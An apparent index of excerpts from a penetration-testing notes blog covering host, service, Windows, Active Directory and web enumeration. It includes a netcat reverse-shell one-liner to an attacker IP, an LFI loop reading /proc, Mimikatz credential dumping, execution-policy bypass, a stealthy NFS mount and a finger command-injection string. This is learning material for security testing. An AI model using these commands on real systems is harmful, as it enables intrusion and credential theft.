• API enumeration

    See also the Web brute force post.

  • If your con­sole is nar­row, widen it at the beginning: stty rows 50 cols 200 Con­sid­er to direct­ly spawn anoth­er reverse shell: nc -e /bin/sh $attackerip 4444 & Basic enu­mer­a­tion about the host idgroupscat /etc/passwdcat /etc/groupcat /etc/hostscat /etc/fstabuname -a // Check for kernel exploits // ALSO search for kernel exploits with OS name! // If this…

  • dir Gen­er­al: Usu­al commands: There­fore: Remem­ber to use dir /R /as /ah -force. tree Start with cre­at­ing a list of all direc­to­ries and files. Down­load it. It’s way eas­i­er to look in a local edi­tor and it’s stored for the future as well. tree c:\ > C:\Windows\Temp\dsys\dirs.txtdir /s /R /as /ah c:\ > C:\Windows\Temp\dsys\files.txt(Download the files)…

  • General system enumeration Get gen­er­al infor­ma­tion about the OS: systeminfo Get the envi­ron­ment variabes: set Enu­mer­ate cached credentials: cmdkey /list If the cur­rent sys­tem is not known yet, try to deter­mine the ver­sion via one of the fol­low­ing files: Processes enumeration tasklist /Vtasklist /V | find "cmd.exe" // Search for a commandtasklist /V /fi "USERNAME eq NT…

  • 443 HTTPS

    Enumeration Check the certificate Per­form SSL-Scan Go to Check­list 80 HTTP Optional if vul­ner­a­ble against heart­bleed, use msf> use openssl_heartbleed. Don’t for­get to use set ACTION KEYS or sim­i­lar (see info)

  • 21 FTP

    Enumeration Mandatory Check anony­mous login Try to cre­ate AND upload a file:  mkdir test put /tmp/test test Check login with at least the fol­low­ing credentials:  admin / admin admin / password Optional Down­load every­thing with wget and look for .dot files! Check login with new­ly found users Brute-force login Make sure to check admin / admin and oth­er usu­al com­bi­na­tions…

  • Seatbelt

    Auto­mates Win­dows enu­mer­a­tion. Github page Usage Seatbelt.exe -group=all Run Seatbelt.exe with­out argu­ments to see pos­si­ble para­me­ters. Example Seatbelt.exe OSInfo Processes Remote From anoth­er Win­dows sys­tem, seat­belt can con­nect to a vic­tim and per­form com­mands there. Seatbelt.exe LogonSessions -computername=$victim -username=bob -password=bobber Command aggregation There are already some groups defined which per­form mul­ti­ple tests at once. Seatbelt.exe -group=system [-computername=...]Seatbelt.exe…

  • EyeWitness

    Source on Github Cre­ates screen­shots from a list of URLs. Good way to get fast an over­wiew over a new site. With nmap, use ‑oA file to save the out­put also as XML file. Eye­Wit­ness can use this file via ‑x file and make screen­shots of all of this sites. EyeWitness.py --web -x webservers.xml

  • Active enumeration

    The usual order Network scan Detect hosts for a domain (use Seclist): for ip in $(cat common-subdomains.txt); do host $ip.megacorpone.com; done Reverse lookup: Find domains for addresses: for ip in $(seq 155 190); do host 50.7.67.$ip; done | grep -v "not found" Zonefile enumeration Grab zone­file from a ran­dom tar­get domain: host -a -l fraunhofer.de ns3.fraunhofer.de…

  • Enumerating /proc

    For reverse engineering Devi­ce­name Con­tent /proc/$pid/maps Shows the mem­pory map­ping of a process. Includes all used libraries. /proc/self/loginuid Own UID. Read processes If you can read /proc via a LFI: #!/bin/bash for i in {1..1024} do echo $i curl http://10.10.11.154/index.php\?page=/proc/$i/cmdline --output /tmp/proc/$i done The, look in the /tmp/proc direc­to­ry for files > 0 byte. Read envi­ron­ment of…

  • Try this ressources if you can access files, but not list­ing them. http://pwnwiki.io/#!presence/windows/blind.md Cheat sheet 1 List In Apache and prob­a­bly more sys­tems you can “trav­el over” non-exist­ing files because the path is short­ened before check­ing the exis­tence of a file. Exam­ple: /test/test.txt/../../index.html will return in an Apache the root’s index.html even if the test direco­ry and…

  • 80 HTTP

    Enumeration Mandatory Optional Tools

  • Mimikatz

    Win­dows cre­ates and stores cre­den­tials in the Local Secu­ri­ty Author­i­ty Sub­sys­tem Ser­vice LSASS in the mem­o­ry. On the filesys­tem, the sam data­base stores the hashes. Use Mimikatz Usage Enable debug mode. This usess the SeDe­bug­Priv­i­lege so that we are able to com­mu­ni­cate with oth­er processes. privilege:debug Try to ele­vate priv­i­leges to obtain SYSTEM user privileges:…

  • BloodHound

    Blood­Hound ana­lyzes and present Active Direc­to­ry Data. SharpHound is the data col­lec­tor which runs on a com­pro­mised AD system. On the target: On the own system:

  • PowerSploit / PowerView

    Col­lec­tion of privsec scripts. To start, upload PowerView.ps1 and: powershell -exec bypass PS> Import-Module .\PowerView.ps1 See the github site for all commands. General enumeration powershell -exec bypass PS> . .\PowerUp.ps1 PS> Invoke-AllChecks Or: powershell.exe -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" About users Enu­mer­ates all users. Get-NetUser Enu­mer­ate all users which does not require Ker­beros preauth. Get-NetUser -PreauthNotRequired Returns…

  • Impacket

    See the Impack­et site for a short descrip­tion of all tools. Tip: On Kali, use the com­mand impacket-* Enumeration without authentication Deter­mine the sys­tem architecture getArch.py -target $target Returns the lis­ten­ing RPC inter­face IDs. ifmap.py $target 135rpcdump.py $target Enumeration with half authentication Sce­nario: You have cre­den­tials for one AD user. Then, try to get all users for…

  • Active Directory notes

    Check­list A domain of a DC con­sists out of the fol­low­ing elements: An object in AD may have a set of ACE Access Con­trol Entries which is called ACL Access Con­trol List. An objec­t’s ACE can be retrieved in PS with Get-ObjectAcl [-Identity| $object. The SCM Ser­vice Con­trol Man­ag­er con­tains a data­base of installed ser­vices…

  • Ports: ldap 389/tcp ldaps 636/tcp globalldap/globalcatldap 3268/tcp globalldaps/globalcatldapssl 3269/tcp Enumerate without credentials Nmap enu­mer­a­tion scans nmap -n -sV --script "ldap* and not brute" $target Ldapsearch scan ldapsearch -x -h $target -D '' -w '' -b "DC=BLA,DC=local" Con­nect to LDAPs/GlobalLDAPs: openssl s_client -connect $target:636 </dev/null openssl s_client -connect $target:3269 </dev/null Search in the directory: ldapsearch -x -b…

  • MongoDB

    Con­nect from the com­mand line mongo 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace' Show data­bas­es show dbs Switch to database use <db> Show all col­lec­tions (“tables”) show collections Show all entries from a collection db.<collection>.find() Add a document db.products.insert( { item: "card", qty: 15 } ) Injections Show all records of the cur­rent table, assum­ing there is a WHERE clause for one field.…

  • Tools to detect nmap ‑O nmap-chronos Tools to detect and validate p0f JS to list brows­er char­ac­ter­is­tics which could send back to an attack­er via an AJAX request: /itsec/wp-content/uploads/2021/05/browser_detection.html Tools to impersonate Against browser/JS-based fin­ger­print­ing: Just tam­per with val­ues from the brows­er in about:config.

  • 25 SMTP

    Enumeration Mandatory Optional On Windows

  • Drupal

    Down­load: https://github.com/droope/droopescan droopescan scan drupal -u http://$target/ -t 32 Or just install via pip pip install droopescan

  • Commix

    https://tools.kali.org/exploitation-tools/commix Cre­at­ed SQL injec­tions on the fly.

  • Joomla: Jomscan

  • Web brute force

    Directory enumeration Hints: General search nikto -host $victim gobuster dir -u http://$target/ -a 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 60 gobuster dir -u http://$target/ -a 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 60 gobuster dir -u http://$target/ -p socks5://127.0.0.1:9991 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 60 HTTP_PROXY="socks4://127.0.0.1:9990/" gobuster dir -u http://$target/…

  • NFS Network File System

    Dis­plays all avail­able net­work shares: showmount -e $target Nor­mal mount mount -t nfs $target:/home /mnt Mount­ing with nfspy — with the hide option, it mounts and unmounts for the serv­er so the vic­tim can­not see the new con­nec­tion via showmount. nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt Mount via SSH ssh -N -L 3049:localhost:2049 user@hostname mount -t nfs -o port=3049…

  • RPC Remote Procedure Call

    tcp/135 udp/135 — and as (Microsoft) Remote Pro­ce­dure Call on tcp/593 as web service. Enumeration Obtain gen­er­al information # rpcinfo -p $target # rpcinfo -s $target Con­nect. Hint: auto com­ple­tion works; enum<tab> returns all enum commands. rpcclient -U "" $target Enu­mer­ate through all API end­points with one of the fol­low­ing options. python /usr/local/bin/rpcdump.py $target |…

  • finger

    Enumeration Aktuell angemeldete Benutzer anzeigen finger @ip Benutzer-Enu­mer­a­tion for username in $(cat cirt-default-usernames.txt); do finger $username@10.10.10.76 >> /tmp/finger; done Enu­mer­a­tion mit Metasploit: msf5 > use auxiliary/scanner/finger/finger_users msf5 auxiliary(scanner/finger/finger_users) > set rhosts 10.10.10.76 rhosts => 10.10.10.76 msf5 auxiliary(scanner/finger/finger_users) > run Exploits Auf sehr alten Sys­te­men kon­nte man https://insecure.org/sploits_all.html zufolge Befehle aus­führen, etwa mit finger "|/bin/id@host'